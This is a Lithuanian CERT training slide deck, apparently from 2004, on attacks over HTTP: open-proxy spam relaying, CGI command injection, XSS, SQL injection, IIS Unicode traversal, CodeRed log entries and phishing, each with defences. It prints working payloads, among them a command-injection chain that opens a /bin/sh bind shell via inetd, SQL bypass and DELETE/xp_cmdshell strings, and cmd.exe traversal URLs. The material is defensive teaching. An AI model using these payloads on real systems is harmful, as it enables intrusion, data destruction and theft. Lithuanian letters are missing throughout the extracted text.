Marius Urkis http://cert.litnet.lt http://cert.litnet.lt 1
HTTP protokolas HTTP plaiausi pritaikym turintis protokolas Request For Comments RFC1945 RFC2616 RFC2817 HTTP protokolas, gyjs plat pritaikymvairiose srityse. Jis naudojamas: Informacijai gauti, ieškoti, talpinti Finansinms operacijoms atlikti Tvarkyti apartin ir programinrang Pokalbiams Žaidimams... Todl, yra labai svarbu suprasti atakas, vykdomas per HTTP prieš taikomasias programas, prieš tinklo infrastuktr, prieš HTTP protokolo vartotojus. http://cert.litnet.lt 2
Prieš HTTP serverio konfigracij Prieš HTTP taikomsias programas Prieš HTTP serverio saugumo spragas Atakas galima suskirstyti kelias kategorijas: Atakuojama HTTP paslauga (serveris), bandant išnaudoti administratoriaus paliktas klaidas serverio konfigracijoje Atakos gali bti nukreiptos prieš WWW taikomsias programas, kuriose klaidas paliko programuotojai HTTP servisins programos taip pat neretai turi saugumo sprag, kuriomis užpuolikai gali bandyti pasinaudoti http://cert.litnet.lt 3
Skenavimai Dažnai pastebimi skenavimai: Tcp/80 Tcp/8080 Tcp/3128 11.09 17:34:04 193.219.68.118 24.147.135.198 3128 4974 6 120 11.09 17:34:04 193.219.68.117 24.147.135.198 1080 4974 6 120 11.09 17:34:04 193.219.68.120 24.147.135.198 3128 4974 6 80 11.09 17:34:04 193.219.68.117 24.147.135.198 3128 4974 6 120 11.09 17:35:08 193.219.69.116 24.147.135.198 1080 4150 6 120 11.09 17:38:19 193.219.77.1 24.147.135.198 1080 3995 6 120 Dažnai yra pastebimi SYN skenavimai, kuri paskirtis rasti proxy servisus (TCP/8080, TCP/1080, TCP/3128). Skenuotojai taip pat tikrina ir HTTP paslaugas (TCP/80) http://cert.litnet.lt 4
Skenavimo pavyzdys T xxx.226.148.106:2765 -> 193.219.yyy.100:8080 [S] T xxx.226.148.106:2765 -> 193.219.zzz.49:8080 [S] T xxx.226.148.106:2765 -> 193.219.yy.96:8080 [S] T 193.219.yy.96:8080 -> xxx.226.148.106:2765 [AR] T xxx.226.148.106:2765 -> 193.219.zzz.49:3128 [S] T xxx.226.148.106:2765 -> 193.219.www.179:8080 [S] T xxx.226.148.106:2765 -> 193.219.yy.149:8080 [S] T xxx.226.148.106:2765 -> 193.219.yyy.100:3128 [S] T xxx.226.148.106:2765 -> 193.219.hhh.167:1080 [S] T xxx.226.148.106:2765 -> 193.219.ww.179:3128 [S] T xxx.226.148.106:2765 -> 193.219.yy.149:3128 [S] T xxx.226.148.106:2765 -> 193.219.zz.73:3128 [S] T xxx.226.148.106:2765 -> 193.219.qqq.33:1080 [S] http://cert.litnet.lt 5
Skenavim turinys T 2004/11/16 06:12:14.962906 ZZ.64.204.230:1996 -> 193.219.xx.32:80 [AP] CONNECT mx0.domainsite.com:25 HTTP/1.0... T 2004/11/16 06:12:14.962907 ZZ.64.204.230:1996 -> 193.219.xx.32:80 [AP] CONNECT mx0.domainsite.com:25 HTTP/1.0... T 2004/11/16 06:12:14.962907 ZZ.64.204.230:1996 -> 193.219.xx.32:80 [AP] CONNECT mx0.domainsite.com:25 HTTP/1.0... T XXX.226.148.106:56757 -> 193.219.yyy.101:8080 [AP] CONNECT ZZZ.16.144.250:25 HTTP/1.0..User-Agent: yaph-0.91... T XXX.226.148.106:43708 -> 193.219.zz.12:8080 [AP] CONNECT ZZZ.16.144.250:25 HTTP/1.0..User-Agent: yaph-0.91... T XXX.226.148.106:47747 -> 193.219.qq.30:1080 [AP] CONNECT ZZZ.16.144.250:25 HTTP/1.0..User-Agent: yaph-0.91... Peržirjus toki skenavim aplication lygio turin galima aptikti vien bendr bruož: visi HTTP skenavimai ieško serviso, priimanio CONNECT užklausas. Pagal RFC2616 (HTTP 1.1), CONNECT metodas reikalingas proxy servisams tuneliavimo funkcijai atlikti. Pagal RFC2817 (Upgrading to TLS Within HTTP/1.1), CONNECT metodas yra reikalingas tam, kad bt galima prašyti tunelio per proxy server. CONNECT metodui nurodomas URI, kur turi eiti kompiuterio adresas ir porto numeris, kur norima jungtis. Po CONNECT eiluts gali eiti 0 arba daugiau HTTP antraši eilui. Po dviej tuši eilui proxy serveriui galima sisti tuneliuojamus duomenis. Tame paiame RFC nurodoma, jog reikalinga riboti kokius portus leidžiama atlikti tuneliavim. Tuneliavimas TCP/25 (SMTP) port nurodomas kaip potencialiai pavojingas, kadangi jo pagalba galima masin SPAM platinim. http://cert.litnet.lt 6
Apsaugotos sistemos atsakas T 2004/11/16 07:28:36.047769 193.219.zzz.106:80 -> XX.65.210.200:2463 [AP] HTTP/1.1 405 Method Not Allowed..Date: Tue, 16 Nov 2004 05:28:35 GMT..Server: Apache/1.3.31 (Debian GNU/Linux) mod_jk/1.2.1 PHP/4.3.9-1..Allow: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE..Connection: close..content-type: text/html; charset=iso-8859-1...<!doctype HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>405 Method Not Allowed</TITLE>.</HEAD><BODY>.<H1>Method Not Allowed</H1>.The requested method CONNECT is not allowed for the URL /index.html.<p>.<hr>.<address>apache/1.3.31 Server at ns.domenas.lt Port 80</ADDRESS>.</BODY></HTML>. Tinkamai sutvarkyta ir apsaugota sistema tokius kreipinius atsako klaidos kodu (pvz 405 Method Not Allowed) http://cert.litnet.lt 7
Pažeidžiamos sistemos atsakas T WW.112.195.46:4650 -> 193.219.xx.193:3128 [AP] CONNECT 64.156.215.6:25 HTTP/1.0... T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] HTTP/1.0 200 Connection established..proxy Sistema, leidžianti tokio tipo tuneliavim, užklaus atsako kodu 2XX http://cert.litnet.lt 8
SPAM platinimas T WW.112.195.46:4650 -> 193.219.xx.193:3128 [AP] CONNECT zz.156.215.6:25 HTTP/1.0... T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] HTTP/1.0 200 Connection established..proxy T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] 220 YSmtp aaa.bbb.yahoo.com ESMTP T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] 250 aaa.bbb.yahoo.com.. T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] 250 sender <xxxxxxx@yahoo.com> ok.. T WW.112.195.46:4650 -> 193.219.xx.193:3128 [AP] RCPT TO: <yyyyyyy@geocities.com>.. T WW.112.195.46:4650 -> 193.219.xx.193:3128 [AP] RCPT TO: <zzzzzzzz@geocities.com>.. T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] 250 recipient <yyyyyyyy@geocities.com> ok.. Skenuotojai aptik tok neapsaugot proxy servis pradeda masin SPAM laišk platinim. http://cert.litnet.lt 9
Piktybiniai proxy 193.219.YYY.71 TCP/14977 HTTP proxy SMTP TCP/25 XX.90.79.58 ZZ.12.137.184 Neretai, po silaužimo kompiuter, ar kompiuterio užkrtimo, jame paliekamas pašalinis piktybinis proxy servisas, leidžiantis atlikti masin laišk platinim. Pavyzdyje: silaužta kompiuter 193.219.YYY.71. Jame paliktas HTTP proxy servisas (TCP/14977) Kompiuteris XX.90.79.58 jungiasi 193.219.YYY.71 ir prašo tuneliuoti srautus ZZ.12.137.184:25 Kompiuteris 193.219.YYY.71 atlieka prisijungim prie ZZ.12.137.184:25 http://cert.litnet.lt 10
Piktybinio proxy pavyzdys T XX.90.79.58:34734 -> 193.219.YYY.71:14977 [AP] CONNECT ZZ.12.137.184:25 HTTP/1.0... T 193.219.YYY.71:14977 -> XX.90.79.58:34734 [AP] HTTP/1.0 200 Connection established... T XX.90.79.58:34734 -> 193.219.YYY.71:14977 [AP] HELO ynfkgic.. T 193.219.YYY.71:2787 -> ZZ.12.137.184:25 [AP] HELO ynfkgic.. T ZZ.12.137.184:25 -> 193.219.YYY.71:2787 [AP] 250 AAA.BBB.CCC.com OK.. T 193.219.YYY.71:14977 -> XX.90.79.58:34734 [AP] 250 AAA.BBB.CCC.com OK.. http://cert.litnet.lt 11
Serviso patikrinimas [1] > telnet 193.219.XX.33 8080 Trying 193.219.XX.33... Connected to 193.219.XX.33. Escape character is '^]'. CONNECT smtp.domain.lt:25 http/1.0 HTTP/1.0 200 Connection established Proxy-agent: WinRoute Pro/4.2.5 220 smtp.domain.lt ESMTP daemon lives here Patikrinti, ar serveris neleidžia tuneliavimo 25 port, galima taip: Reikia su klientine telnet programa prisijungti prie serverio HTTP (proxy) porto vesti komand CONNECT smtp_serveris.lt:25 HTTP/1.0 ir dukart paspausti Enter Jei serveris sutvarkytas neteisingai ir leidžia TCP/25 tuneliavim, gaunamas patvirtinimas (HTTP gržinimo kodas 200) bei SMTP serverio pasisveikinimas. http://cert.litnet.lt 12
Serviso patikrinimas [2] > telnet www.domain.lt 80 Trying 193.219.XXX.32... Connected to www.domain.lt. Escape character is '^]'. CONNECT smtp.domain.lt:25 http/1.0 HTTP/1.1 405 Method Not Allowed Date: Wed, 01 Dec 2004 11:34:39 GMT Server: Apache Allow: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>405 Method Not Allowed</TITLE> </HEAD><BODY> <H1>Method Not Allowed</H1> The requested method CONNECT is not allowed for the URL /index.html.<p> </BODY></HTML> Connection closed by foreign host. Teisingai sutvarkyti serveriai turi gržinti klaidos kod 4XX, pvz: HTTP/1.1 405 Method Not Allowed http://cert.litnet.lt 13
CGI pažeidžiamumai. Vartotojo vedama informacija /bin/sh Perl system() open() Php Fail vardai (http://example.com/page.php?../../../etc/passwd ) Globals kintamieji Kita atak grup atakos prieš taikomsias programas. Viena išprast programuotoj klaid nepakankama vartotojo vedamos informacijos kontrol. Viena iš pavojingiausi toki sprag leidžia parametrais perduoti serveryje vykdomai programai užslptas komandas, kurios taip pat vykdomos serveryje. Pavyzdžiui: Tokios komandos gali bti perduodamos UNIX shell skriptams, panaudojant specialius simbolius, kuriuos UNIX shell interpretuoja ir paleidžia subshell aplinkas. Perl funkcijoms system(), open() ir panašioms tarp argument padavus specialius shell simbolius, jie taip pat gali bti interpretuoti UNIX shell aplinkoje http://cert.litnet.lt 14
CGI pažeidžiamumai. Pvz [1] #!/usr/bin/perl # use CGI; $query=new CGI; $ip=$query->param('ip'); print $query->header, $query->start_html, $ip,":<p>"; open (OUT, "/bin/ping -c 4 $ip "); while (<OUT>) { print $_,"<br>"; } Pažeidžiamo perl skripto pavyzdys. Šio skripto paskirtis atlikti ryšio testavim, vykdant ping komand su vartotojo perduotu IP adresu. Programa naršyklei perduoda tai, k išveda ping. http://cert.litnet.lt 15
CGI pažeidžiamumai. Pvz [2] http://xxx.ktu.lt/cgi-bin/test/test.pl?ip=193.219.61.11 193.219.61.11: PING 193.219.61.11 (193.219.61.11) from 193.219.xxxx : 56(84) bytes of data. 64 bytes from 193.219.61.11: icmp_seq=1 ttl=64 time=0.172 ms 64 bytes from 193.219.61.11: icmp_seq=2 ttl=64 time=0.159 ms 64 bytes from 193.219.61.11: icmp_seq=3 ttl=64 time=0.287 ms 64 bytes from 193.219.61.11: icmp_seq=4 ttl=64 time=0.175 ms --- 193.219.61.11 ping statistics --- 4 packets transmitted, 4 received, 0% loss, time 3016ms rtt min/avg/max/mdev = 0.159/0.198/0.287/0.052 ms Tokio skripto iškvietimas ir išvedama informacija. http://cert.litnet.lt 16
CGI pažeidžiamumai. Pvz [3] http:// XXX.ktu.lt/cgibin/test/test.pl?ip=0 ls%20-l%20/ 0 ls -l /: total 1541 drwxr-xr-x 2 root root 2048 Nov 8 17:53 bin drwxr-xr-x 2 root root 1024 Nov 19 12:08 boot drwxr-xr-x 2 root root 1024 Sep 30 2003 cdrom drwxr-xr-x 9 root root 21504 Nov 22 00:03 dev drwxr-xr-x 56 root root 3072 Nov 19 12:10 etc drwxr-xr-x 3 root root 1024 Apr 9 2004 export drwxr-xr-x 2 root root 1024 Sep 30 2003 floppy drwxr-xr-x 15 root root 4096 Oct 15 15:22 home drwxr-xr-x 5 root root 4096 Nov 24 2003 lib drwx------ 2 root root 12288 Sep 30 2003 lost+found Bet, kadangi skripte nra parametr tikrinimo, galima parametrus suformuoti taip, kad serveryje btvykdyta tam tikra vartotojo norima komanda. Pavyzdyje panaudojamas pipe simbolis, ir nurodoma vykdyti komand ls l /. Rezultatas išvedamas serverio šakninio katalogo turinys. http://cert.litnet.lt 17
CGI pažeidžiamumai. Pvz [4] http:// XXX.ktu.lt/cgibin/test/test.pl?ip=0 ls%20-l%20/ open (OUT, "/bin/ping -c 4 0 ls l / "); while (<OUT>) { print $_,"<br>"; } Iš tikro, argumentus staius paduodam parametr reikšmes, serveryje yra vykdoma tokia komamda: "/bin/ping -c 4 0 ls l / Komanda vykdoma tokiomis teismis, kokiomis yra paleistas HTTP servisas. http://cert.litnet.lt 18
CGI pažeidžiamumai. Pvz [5] http:// XXX.ktu.lt/cgibin/test/test.pl?ip=0 echo 11111 stream tcp nowait web /bin/sh > /tmp/hck http:// XXX.ktu.lt/cgibin/test/test.pl?ip=0 inetd /tmp/hck Kitas šio skripto spagos išnaudojimo pavyzdys: Pirmasis kreipinys sukuria fail /tmp/hck, kurio turinys: 11111 stream tcp nowait web /bin/sh Antras kreipinys paleidžia inetd servis su konfigracija /tmp/hck Šie du žingsniai faktiškai sukuria servis ant porto TCP/11111, prie kurio prisijungus paleidžiamas UNIX shell. http://cert.litnet.lt 19
CGI pažeidžiamumai. Pvz [6] root@xxx:/tmp# ls -l /tmp/hck -rw-r--r-- 1 web web 36 Nov 22 14:45 /tmp/hck root@xxx:/tmp# ps aux grep inetd root 19291 0.0 0.0 1396 1008? S Nov19 0:00 /usr/sbin/inetd web 5237 0.0 0.0 1304 792? S 14:49 0:00 inetd /tmp/hck root@xxx:/tmp# lsof -p 5237 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME inetd 5237 web cwd DIR 33,1 1024 2 / inetd 5237 web rtd DIR 33,1 1024 2 / inetd 5237 web txt REG 33,6 18540 348575 /usr/sbin/inetd inetd 5237 web mem REG 33,1 90210 20485 /lib/ld-2.2.5.so inetd 5237 web mem REG 33,1 1153784 20488 /lib/libc-2.2.5.so inetd 5237 web 0u CHR 1,3 73611 /dev/null inetd 5237 web 1u CHR 1,3 73611 /dev/null inetd 5237 web 2u CHR 1,3 73611 /dev/null inetd 5237 web 4u IPv4 22720004 TCP *:11111 (LISTEN) Atlikus šiuos du kreipinius, serveryje atsiranda failas /tmp/hck bei servisas, aptarnaujantis TCP/11111 port. http://cert.litnet.lt 20
Perl: Cgi apsaugojimo priemons perl T use strict; PHP: if (ereg("^[a-z]+\.html$", $id)) { echo "Good!"; Apsisaugoti nuo toki sprag galima tik griežtai tikrinant vartotojvedamus parametrus, HTTP antraštes, cookie reikšmes. Perl kalboje, laikytis griežt programavimo taisykli priveria perl paleidimo raktas T (taint režimas) ir modulis strict. Taint režimas neleidžia nepakankamai patikrintoms parametr reikšmms patekti tam tikr funkcij argumentus. Strict režimas kontroliuoja globali kintamj panaudojim. Rekomenduojama strategija, filtruojant reikšmes iš parametro paimti tik simbolius iš aibs, kuri yra numats programuotojas. Nra rekomenduojama reikšmje ieškoti neleistin simboli ir juos naikinti ar nepraleisti, kadangi toki užbaigt aib numatyti yra sudtingiau. http://cert.litnet.lt 21
Cgi apsaugojimo priemons. Pavyzdys #!/usr/bin/perl -T # $ENV{'PATH'} ='/bin'; use CGI; $query=new CGI; $ip=$query->param('ip'); print $query->header, $query->start_html; print $ip,":<p>"; if ($ip=~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/) { $ip = $1; } else { print "Bad data<p>"; exit; } open (OUT, "/bin/ping -c 4 $ip "); while (<OUT>) { print $_,"<br>"; } Reikšmi filtravimo pavyzdys programuojant su perl Taint režimu. Iš IP parametro reikšms paimami tik tokie simboliai, kurie yra numatyti programuotojo (skaitmenins reikšms ir taškai). http://cert.litnet.lt 22
Cross Site Scripting, CSS/XSS <script>kodas... </script> HTTP <script>kodas... </script> HTTP WWW email Chat Skelbim lentos Svei knyga... Kitas dažnai pasitaikantis pažeidžiamumas Cross Site Scripting. Jo esm WWW serverio pagalba terpti www puslapius instrukcijas (javascript, Vbscript), kurias vliau vykdys kito vartotojo naršykl. Paprastai toki atak aukos bna www skelbim lent skaitytojai, pokalbi dalyviai, WWW el. pašto vartotojai. Pavyzdžiui, skelbimo lentoje užpuolikas palieka javascript kod. Kodas yra išsaugojamas WWW serveryje, ir kiekvienas vartotojas, peržirindamas ši skelbim lent, atsisis š javascript kod ir vartotojo naršykl j vykdys. http://cert.litnet.lt 23
CSS pavyzdys Išbandyti CSS veikim galima tinklapyje http://www.phy.duke.edu/~icon/work/clac/examples/inigo.php http://cert.litnet.lt 24
CSS pavyzdys http://cert.litnet.lt 25
CSS priešnuodžiai. Vartotojui Skript išjungimas Nespausti nuorod el. laiškuose Atsijungti iš tinklapio (logout) prieš jungiantis kitur Vartotojas saugotis nuo CSS atak gali: Naršyklje išjungdamas scripting funkcijas (nepopuliarus sprendimas, apkarpantis naršykls funkcionalum) Vengti sekti nuorodomis, gaunamomis el. paštu ar IRC kanalais) Atsijungti iš tinklapio prieš palikdamas j http://cert.litnet.lt 26
CSS priešnuodžiai. Serveris Programinranga atnaujinama nuolat Vieno prisijungimo (single sign-on) eliminavimas Dinaminio turino filtravimas, paliekant tik leistinus simbolius vedamos informacijos filtravimas, pašalinant neleistinus simbolius: < > % ; ) ( & + - Pagrindins priemons turi bti realizuotos serveryje. Taikomosios programos turi filtruoti simbolius, kuri pagalba galima suformuoti html kod. http://cert.litnet.lt 27
SQL injection SQL instrukcijterpimas WWW tinklapio parametrus taip, kad tos instrukcijos bt vykdytos SQL serveryje Dar viena pavojinga ataka SQL terpimas. Jos esm tarp parametrterpti SQL išraiškas taip, kad jas vykdyt SQL serveris. http://cert.litnet.lt 28
SQL injection. Pavyzdys <b>login Now</b> <form name="login" action="/support/dologin.asp" method="post"> Member Name: <input name="login_member" value=""> Password: <input name= login_password" value="" type="password"> <input name="login_save" value="1" checked="checked" type="checkbox"> Save name and password <input value="log Me In!" type="submit"> </form> Internete dažnai galima sutikti toki HTML form, kurios leidžia vesti prisijungimo vard ir slaptažod. http://cert.litnet.lt 29
SQL injection p_strusername = Request.Form("login_member ") p_strpassword = Request.Form( login_password") strsql = "SELECT * FROM tblusers " & _ "WHERE Username='" & p_strusername & _ "' and Password='" & p_strpassword & "'" SELECT * FROM tblusers WHERE Username= marius' and Password= slaptazodis123 If (aaa.eof) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & aaa("username") End If Dažnai vartotojai bna saugomi SQL duomen bazse. vesto vardo ir slaptažodžio teisingumo vertinimui yra vykdomas SQL SELECT kreipinys. vedus Login <- marius ir Password <- slaptazodis123 btvykdytas toks SELECT kreipinys: SELECT * FROM tblusers WHERE Username= marius'and Password= slaptazodis123 http://cert.litnet.lt 30
SQL injection login_member or a = a login_password or 1=1 -- strsql = "SELECT * FROM tblusers " & _ "WHERE Username='" & p_strusername & _ "' and Password='" & p_strpassword & "'" SELECT * FROM tblusers WHERE Username= or a = a and Password= or 1=1 -- Tok skripto veikim galima pakeisti vedus specialiai parinktas parametr reikšmes. Pavyzdžiui, panaudojus viengubas kabutes ir vedus or instrukcijas gali bti suformuotas toks SELECT sakinys: SELECT * FROM tblusers WHERE Username= or a = a and Password= or 1=1 - - Šio sakinio slyga WHERE yra teisinga visada ir tokio SELECT sakinio rezultatas yra visa vartotoj lentel. Gale vedamas komentaro ženklas eliminuoja pasiliekani kabut Tokiu bdu prie sistemos prisijungiama pirmojo vartotojo, rasto lentelje, teismis http://cert.litnet.lt 31
SQL injection. Variantai ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a Kiti galimi or instrukcijos vedimo variantai http://cert.litnet.lt 32
SQL injection. Pavyzdžiai ; UPDATE tblusers' SET Password' = 'newpas5' WHERE username='neo' - ; INSERT INTO 'tblusers' ('login_id', username', 'password', 'details') VALUES (666,'neo2','newpas5','NA') - ; DELETE FROM tblusers -- ; exec master..xp_cmdshell 'ping 10.10.1.2'-- Pasinaudojant SQL terpimo spagomis, galima atlikti ir kitokius veiksmus: Pakeisti esam lentels lauk reikšmes terpti naujus rašus Sunaikinti lentel Vykdyti komandas Ir kita http://cert.litnet.lt 33
SQL injection. Apsauga Filtruoti cookie, formos parametr reikšmes: - ", / \ * & ( ) $ % ^ @ ~? ; NULL \n \r Tikrinti vedamas reikšmes (ISNUMERIC) Riboti vedamos eiluts ilg Formoms leisti tik POST metod SQL server paleisti su neadministratoriaus privilegijomis Iš SQL serverio pašalinti stored procedures : Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask Apsisaugojant nuo SQL terpimo, svarbiausia tinkamai filtruoti formos parametrus ir kit informacij, kuri gauna skriptas. Kitos galimos priemons tikrinti parametr logik, riboti parametr eiluts ilg, minimizuoti SQL serviso vartotojo privilegijas, pašalinti stored procedures http://cert.litnet.lt 34
Unicode atakos. MS00-057 MS IIS tikrina užklausas ir atmeta../ http://www.myserver.com/scripts/../../winnt/sys tem32/cmd.exe Po to atliekamas Unicode dekodavimas / atitinka %c0%af http://www.myserver.com/scripts/..%c0%af../w innt/system32/cmd.exe Kitas atak tipas atakos, išnaudojanios paio serviso spragas. ia pateiktas pavyzdys MS IIS spragos, kai Unicode kodavimo dka galima apeiti parametr patikrinimus. MS IIS tikrina URL eilut, ar joje nra simboli../. Tokie simboliai leist keliauti po katalog med serveryje ir vykdyti bet kokias programas. Kadangi Unicode dekodavimas atliekamas po šio tikrinimo, Unicode simboliais užkodavus tikrinamus simbolius atak vis tiek pavyksta realizuoti http://cert.litnet.lt 35
CodeRed atakos 193.230.3.14 - - [01/Oct/2003:11:06:49 +0300] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.230.3.14 - - [01/Oct/2003:11:06:53 +0300] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.230.3.14 - - [01/Oct/2003:11:06:55 +0300] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.230.3.14 - - [01/Oct/2003:11:06:55 +0300] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 Tokia ataka palieka savo pdsakus serverio žurnale. http://cert.litnet.lt 36
Phishing Phishing = password fishing = slaptažodži žvejyba Apgaul, siekant išgauti asmenin informacij: Banko korteli informacij Slaptažodžiai Sskait informacija kita Phishing tai nra tipas, o greiiau metodas pulti, panaudojant taip pat ir HTTP atakas (CSS). ia phishing atakos minimos dar ir todl, kad pastaruoju metu pasaulyje j intensyvumas itin išaugo phishing atvej per pus met padaugjo apie 4000%. Vien JAV vartotojai per šiuos metus neteko apie 2 mlrd. USD. Phishing atakos tikslas išgauti asmenin svarbi informacij, toki kaip bank korteli informacija. http://cert.litnet.lt 37
Nuostoliai dl asmenins informacijos grobimo Aukos el. bankininkysts vartotojai (CityBank, SunTrust, ebay, PayPal) Nuostoliai: 2004metais nukentjo 1,8 mln. amerikiei Vidutiniškai nukentj s neteko 1200USD Prarasta apie 2 mlrd. USD Pagrindiniai phishing atak taikiniai elektronins bankininkysts klientai. http://cert.litnet.lt 38
Phishing. Pavyzdys Tipin phishing ataka: Banko klientams išsiuniamas falsifikuotas laiškas, pasirašytas, neva, banko personalo, ir kvieiantis (gal bt dl koki nors problem) apsilankyti banko svetainje bei patvirtinti tam tikr informacij. http://cert.litnet.lt 39
Spragteljus nurodyt nuorod, naršykl nukreipiamregistracijos puslap, kuriame vartotojas prašomas palikti svarbi informacij. Vaizduojama informacija bna pateikiama taip, kad vartotojas bttikinamas svetains autentiškumu. Kaip taisykl, registracijos prisijungimas nebna apsaugotas SSL šifravimu (nra užrakintos spynos piktograma statuso eilutje). http://cert.litnet.lt 40
Kitas falsifikuotos svetains pavyzdys. Kairje originali svetain http://cert.litnet.lt 41
Phishing technologijos This is a multi-part message in MIME format. --------------010507050809080901090009 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit <html><p><font face="arial"> <A HREF="https://web.daus.citibank.com/signin/scripts/Iogin2/user_setup.jsp"> <map name="fpmap0"> <area coords="0, 0, 610, 275" shape="rect" href="http://%32%30%30%2e%32%34%36%2e%31%31%2e%31%33 %35:%33%31%32%37/%63%69%74/%69%6E%64%65%78%2E%68%74%6D"> </map><img SRC="cid:part1.03000608.08040006@usersupport07@citibank.com" border="0" usemap="#fpmap0"></a></a></font></p><p> <font color="#fffff6">in 1870 Supercuts pays I am on a Yes, I don't mind I wish </font></p></html> Dažnai, norint suklaidinti vartotoj imamasi toki technologij: terpiamas image map paveiksllis, kurio nuoroda nukreipiama original banko tinklap (tai yra adresas, kur rodo el. pašto skaitymo programa). Tuo tarpu image map mechanizmas paspaudus nukreipia pašalin tinklap. Piktybinio tinklapio, surenkanio korteli informacij, adresas neretai užkoduojamas šešioliktainmis simboli reikšmmis. Tai turi nešti papildomos painiavos vartotojui. http://cert.litnet.lt 42
Dekodavimas <area coords="0, 0, 610, 275" shape="rect" href="http://%32%30%30%2e%32%34%36%2e%31%31 %2E%31%33%35:%33%31%32%37/%63%69%74/%69% 6E%64%65%78%2E%68%74%6D"> </map> > echo http://%32%30%30%2e%32%34%36%2e%31%31%2e%31%33%35:%33%31%32%37/% 63%69%74/%69%6E%64%65%78%2E%68%74%6D perl -e 'while (<>) { s/%(..)/pack("c", hex($1))/eg; print;} http://xxx.246.11.135:3127/cit/index.htm Tok užkoduot adres galima dekoduoti panaudojant perl skript. http://cert.litnet.lt 43